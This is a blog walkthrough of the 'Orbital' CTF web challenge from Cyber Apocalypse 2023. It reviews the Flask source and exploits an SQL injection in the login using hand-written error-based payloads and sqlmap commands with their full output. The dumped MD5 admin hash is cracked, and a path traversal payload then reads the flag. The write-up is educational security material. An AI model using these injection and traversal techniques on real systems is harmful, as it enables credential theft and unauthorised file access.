forbytten blogs

Orbital walkthrough - Cyber Apocalypse 2023

Last update:

1 Introduction

I previously wrote about participating in the Hack The Box Cyber Apocalypse 2023 CTF (Capture the Flag) competition.

This walkthrough covers the Orbital challenge in the Web category, which was rated as having an ‘easy’ difficulty. This challenge is a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container.

The description of the challenge is shown below.

Orbital description

The key techniques employed in this walkthrough are:

2 Mapping the application

2.1 Mapping the application via interaction

  1. The target website was opened in the Burp browser, which displayed a login form

    The website displayed a login form

2.2 Mapping the application via source code review

To support the interactive mapping and to easily discover hidden endpoints, further mapping of the application was conducted via source code review.

  1. From the Dockerfile, the following was observed

    1. A python3 base image is used and therefore the application is likely implemented in python3

      FROM python:3.8-alpine
    2. The flag is located in /signal_sleuth_firmware

      # copy flag
      COPY flag.txt /signal_sleuth_firmware
    3. Python dependencies are installed. This includes the web application framework, Flask

      # Install dependencies
      RUN pip install Flask flask_mysqldb pyjwt colorama
    4. The Docker container runs the entrypoint.sh shell script

      # create database and start supervisord
      COPY --chown=root entrypoint.sh /entrypoint.sh
      RUN chmod +x /entrypoint.sh
      ENTRYPOINT ["/entrypoint.sh"]
  2. In entrypoint.sh

    1. A password generation function is defined. The dummy password is only for the downloadable source and does not match the password for the live target. However, this code does reveal the generated password is the 16 byte MD5 hash of some plaintext value

      function genPass() {
          echo -n 'DUMMY_PASSWORD' | md5sum | head -c 32
      }
    2. A user table is created in a MySQL database called orbital

      mysql -u root << EOF
      CREATE DATABASE orbital;
      CREATE TABLE orbital.users (
          id INTEGER PRIMARY KEY AUTO_INCREMENT,
          username varchar(255) NOT NULL UNIQUE,
          password varchar(255) NOT NULL
      );
    3. The admin password is generated from the genPass function above and persisted to the users table

      INSERT INTO orbital.users (username, password) VALUES ('admin', '$(genPass)');
    4. The last line runs the application via supervisord, which is a “client/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems”.

      /usr/bin/supervisord -c /etc/supervisord.conf
  3. config/supervisord.conf indicates there is a single process running, program:flask on line 8, which is the Python Flask web application executed with a command line of python /app/run.py on line 9

    [supervisord]
    user=root
    nodaemon=true
    logfile=/dev/null
    logfile_maxbytes=0
    pidfile=/run/supervisord.pid
    
    [program:flask]
    command=python /app/run.py
    autorestart=true
    stdout_logfile=/dev/stdout
    stdout_logfile_maxbytes=0
    stderr_logfile=/dev/stderr
    stderr_logfile_maxbytes=0
  4. run.py imports app from application.main on line 1, then runs it on line 3

    from application.main import app
    
    app.run(host='0.0.0.0', port=1337, debug=False, use_evalex=False)
  5. application/main.py defines a Flask application, which is a Python web application framework, on line 6 and registers blueprints on lines 11-12, which are a way of grouping views and their associated URLs.

    from flask import Flask
    from application.blueprints.routes import web, api
    from application.database import mysql
    from application.util import response
    
    app = Flask(__name__)
    app.config.from_object('application.config.Config')
    
    mysql.init_app(app)
    
    app.register_blueprint(web, url_prefix='/')
    app.register_blueprint(api, url_prefix='/api')
  6. application/blueprints/routes.py defines two sets of key routes

    1. unauthenticated routes for the root page, login and logout

      @web.route('/')
      def signIn():
          return render_template('login.html')
      
      @web.route('/logout')
      def logout():
          session['auth'] = None
          return redirect('/')
      @api.route('/login', methods=['POST'])
      def apiLogin():
    2. authenticated routes for a home page, /home, and a POST /export route

      @web.route('/home')
      @isAuthenticated
      def home():
      @api.route('/export', methods=['POST'])
      @isAuthenticated
      def exportFile():

3 Vulnerability analysis - Login SQL injection vulnerability

3.1 Manual source code review

  1. In application/blueprints/routes.py, on line 35, the /login route delegates to a login function imported from application.database on line 2

    from application.database import login, getCommunication
    @api.route('/login', methods=['POST'])
    def apiLogin():
        if not request.is_json:
            return response('Invalid JSON!'), 400
    
        data = request.get_json()
        username = data.get('username', '')
        password = data.get('password', '')
    
        if not username or not password:
            return response('All fields are required!'), 401
    
        user = login(username, password)
    
        if user:
            session['auth'] = user
            return response('Success'), 200
    
        return response('Invalid credentials!'), 403
  2. In database.py, the login function queries the database on line 17. However, the value of the user input username is inserted into the query string via string interpolation. This results in a SQL injection vulnerability, which is an instance of the common weakness CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’). The preceding line 16 also contains a hint that there is a vulnerability here. A good reference for mitigating this type of vulnerability is the OWASP SQL Injection Prevention Cheat Sheet.

    from flask_mysqldb import MySQL
    
    mysql = MySQL()
    
    def query(query, args=(), one=False):
        cursor = mysql.connection.cursor()
        cursor.execute(query, args)
        rv = [dict((cursor.description[idx][0], value)
            for idx, value in enumerate(row)) for row in cursor.fetchall()]
        return (rv[0] if rv else None) if one else rv
    
    
    def login(username, password):
        # I don't think it's not possible to bypass login because I'm verifying the password later.
        user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)

3.2 Confirming the SQL injection vulnerability

The SQL injection vulnerability was confirmed using Burp Repeater and submitting a double quote character in the username field. The response contains an explicit SQL syntax error message

Submitting a double quote in the username field to /login confirmed a SQL injection vulnerability

As is typical for SQL injections on login pages, exploitation of the injection point requires blind injection techniques, as the HTTP response will not contain data returned from the database query. This fact can be seen in the implementation of the login function in database.py, where the function either returns a token or False but no query result data.

def login(username, password):
# I don't think it's not possible to bypass login because I'm verifying the password later.
user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)

if user:
    passwordCheck = passwordVerify(user['password'], password)

    if passwordCheck:
        token = createJWT(user['username'])
        return token
else:
    return False

One technique for blind SQL injections involves submitting conditional queries that result in different response content, depending on whether the query evaluates to a true or false value. Given we know the database used is MySQL, we can take a base conditional query from the PortSwigger SQL injection cheat sheet

SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

If the condition is true, this query evaluates to the subquery, otherwise it evaluates to the character ‘a’. This base query can be used in the username field with two variations, based on a specific blind SQL injection technique known as “error-based”.

  1. The following query should result in an error as it attempts to compare a subquery containing more than one row with the constant string ‘a’. The trailing comment ensures the closing double quote inserted by the login function will be nullified. Also note there is a space after the comment, which is required for MySQL. The second clause in the OR expression is guaranteed to be evaluated because we already know admin is a valid username

    admin\" OR (SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),'a'))='a' --

    Submitting this query confirmed a SQL error message is returned

    Submitting a blind conditional SQL query with a condition which evaluates to true results in a SQL error message
  2. The following query should be equivalent to querying whether the username is admin or ‘a’=‘a’, which is equivalent to querying whether the username is admin

    admin\" OR (SELECT IF(1=0,(SELECT table_name FROM information_schema.tables),'a'))='a' --

    Submitting this query confirmed the admin:admin login request is performed as per the normal flow

    Submitting a blind conditional SQL query with a condition which evaluates to false results in a normal flow login with incorrect credentials

4 Exploitation - dumping the admin password from the database

4.1 sqlmap - confirm the injection point

Given the difference between a SQL query condition which returns true or false can be observed, a script could be written to exfiltrate the admin user’s password by sequentially testing each character of the admin user’s password against a wordlist containing every permitted character. This is a good exercise to perform at least once for educational purposes. However, within the scope of Cyber Apocalypse 2023, sqlmap was employed, as it is a robust, open source tool which eases SQL injection automation.

The sqlmap workflow employs similar stages to manual SQL injection testing, namely vulnerability detection followed by exploitation. As such, sqlmap was first invoked to verify it can detect the same SQL injection point already determined manually.

Before running sqlmap, the raw /api/login HTTP request was stored into a raw.request file

$ cat raw.request
POST /api/login HTTP/1.1
Host: 68.183.36.246:32015
Content-Length: 41
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://68.183.36.246:32015
Referer: http://68.183.36.246:32015/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{"username":"admin","password":"admin"}

Next, sqlmap was invoked with the following options:

-r raw.request
use the aforementioned raw HTTP request
--dbms MySQL
specify that only MySQL queries should be tried, given we already know the database is MySQL
-p username
only inject into the username field
--string 'Invalid credentials'
informs sqlmap what string to expect in the response when nothing is injected. This may not be strictly required in this instance but I generally find providing a hint to sqlmap to be more reliable
--technique=E
optional option to only try error based techniques, which is more efficient given we already know a workable technique based on the manual testing results
--flush-session
ensures sqlmap does not use cached responses from previous sessions

As can be seen on lines 34-39, sqlmap successfully detected the injection point using the error-based SQL injection technique.

└─$ sqlmap -r raw.request --dbms MySQL -p username  --string 'Invalid credentials' --technique=E --flush-session
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.7.2#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:16:38 /2023-03-19/

[04:16:38] [INFO] parsing HTTP request from 'raw.request'
JSON data found in POST body. Do you want to process it? [Y/n/q] y
[04:16:40] [INFO] flushing session file
[04:16:40] [INFO] testing connection to the target URL
[04:16:40] [INFO] testing if the provided string is within the target URL page content
[04:16:40] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests
[04:16:41] [INFO] heuristic (basic) test shows that (custom) POST parameter 'JSON username' might be injectable (possible DBMS: 'MySQL')
[04:16:41] [INFO] testing for SQL injection on (custom) POST parameter 'JSON username'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[04:16:43] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[04:17:00] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[04:17:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[04:17:34] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[04:17:51] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[04:17:53] [WARNING] potential permission problems detected ('command denied')
[04:18:08] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[04:18:25] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[04:18:42] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[04:19:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[04:19:01] [INFO] (custom) POST parameter 'JSON username' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
(custom) POST parameter 'JSON username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 428 HTTP(s) requests:
---
Parameter: JSON username ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {"username":"admin" AND (SELECT 6594 FROM(SELECT COUNT(*),CONCAT(0x716a716271,(SELECT (ELT(6594=6594,1))),0x7162706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TWYv","password":"admin"}
---
[04:20:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[04:20:38] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 322 times, 500 (Internal Server Error) - 114 times
[04:20:38] [INFO] fetched data logged to text files under '/home/REDACTED/.local/share/sqlmap/output/167.71.143.44'

[*] ending @ 04:20:38 /2023-03-19/

4.2 sqlmap - dump the users table

sqlmap was then invoked again but this time, the --technique=E and --flush-session options were omitted, as sqlmap will use the cached results from the previous session to determine what technique to use, as can be seen on line 19 below. Furthermore, the following additional options were specified

-T users
specify the users table to enumerate
--dump
dump entries from the specified table

As can be seen on lines 51-56, sqlmap successfully dumped the admin user’s MD5 password hash

└─$ sqlmap -r raw.request --dbms MySQL -p username  --string 'Invalid credentials' -T users --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.2#stable}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not re
sponsible for any misuse or damage caused by this program

[*] starting @ 04:22:55 /2023-03-19/

[04:22:55] [INFO] parsing HTTP request from 'raw.request'
JSON data found in POST body. Do you want to process it? [Y/n/q] y
[04:22:57] [INFO] testing connection to the target URL
[04:22:57] [INFO] testing if the provided string is within the target URL page content
[04:22:57] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON username ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {"username":"admin" AND (SELECT 6594 FROM(SELECT COUNT(*),CONCAT(0x716a716271,(SELECT (ELT(6594=6594,1))),0x7162706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TWYv","password":"admin"}
---
[04:22:57] [INFO] testing MySQL
[04:22:58] [INFO] confirming MySQL
[04:22:58] [WARNING] potential permission problems detected ('command denied')
[04:22:59] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[04:22:59] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[04:22:59] [INFO] fetching current database
[04:22:59] [INFO] retrieved: 'orbital'
[04:22:59] [INFO] fetching columns for table 'users' in database 'orbital'
[04:22:59] [INFO] retrieved: 'id'
[04:23:00] [INFO] retrieved: 'int(11)'
[04:23:00] [INFO] retrieved: 'username'
[04:23:00] [INFO] retrieved: 'varchar(255)'
[04:23:01] [INFO] retrieved: 'password'
[04:23:01] [INFO] retrieved: 'varchar(255)'
[04:23:01] [INFO] fetching entries for table 'users' in database 'orbital'
[04:23:02] [INFO] retrieved: '1'
[04:23:02] [INFO] retrieved: '1692b753c031f2905b89e7258dbc49bb'
[04:23:02] [INFO] retrieved: 'admin'
[04:23:02] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[04:23:06] [INFO] writing hashes to a temporary file '/tmp/sqlmapufj4q33m4660/sqlmaphashes-ce15kzdq.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: orbital
Table: users
[1 entry]
+----+----------------------------------+----------+
| id | password                         | username |
+----+----------------------------------+----------+
| 1  | 1692b753c031f2905b89e7258dbc49bb | admin    |
+----+----------------------------------+----------+

[04:23:08] [INFO] table 'orbital.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/167.71.143.44/dump/orbital/users.csv'
[04:23:08] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 1 times, 500 (Internal Server Error) - 16 times
[04:23:08] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/167.71.143.44'

[*] ending @ 04:23:08 /2023-03-19/

4.3 Cracking the admin user’s password hash

Since the admin user’s password is stored as an MD5 hash instead of a Password Hashing Algorithm and no salt or pepper is used, the password hash is weak to rainbow table attacks - that is, lookup in precomputed tables. The hash was trivially looked up at crackstation.net.

admin MD5 password hash found at crackstation.net

4.4 Logging in as the admin user

The cracked admin password was used to successfully log into the site, resulting in the display of a statistics dashboard:

Successful admin login using cracked password

5 Vulnerability analysis - /api/export path traversal

Now that successful admin authentication has been achieved, it is time to take a closer look at the authenticated routes in application/blueprints/routes.py. The /api/export route reads a name field from the request body JSON on lines 49-50, reads a file with that name from the /communications directory, then returns the file as an attachment. However, line 54 contains a path traversal vulnerability due to creating a path using string interpolation of an attacker controlled input. This is an instance of the common weakness CWE-23: Relative Path Traversal which can be exploited to read files from arbitrary locations on the file system, subject to the permissions of the running process.

@api.route('/export', methods=['POST'])
@isAuthenticated
def exportFile():
    if not request.is_json:
        return response('Invalid JSON!'), 400

    data = request.get_json()
    communicationName = data.get('name', '')

    try:
        # Everyone is saying I should escape specific characters in the filename. I don't know why.
        return send_file(f'/communications/{communicationName}', as_attachment=True)
    except:
        return response('Unable to retrieve the communication'), 400

6 Exploitation - read the flag

Previous code analysis revealed the flag is located at /signal_sleuth_firmware. Thus, the path traversal vulnerability in /api/export was exploited to read the flag by submitting a payload of ../signal_sleuth_firmware in the name field.

Path traversal payload of ../signal_sleuth_firmware was submitted to /api/export in order to read the flag

7 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned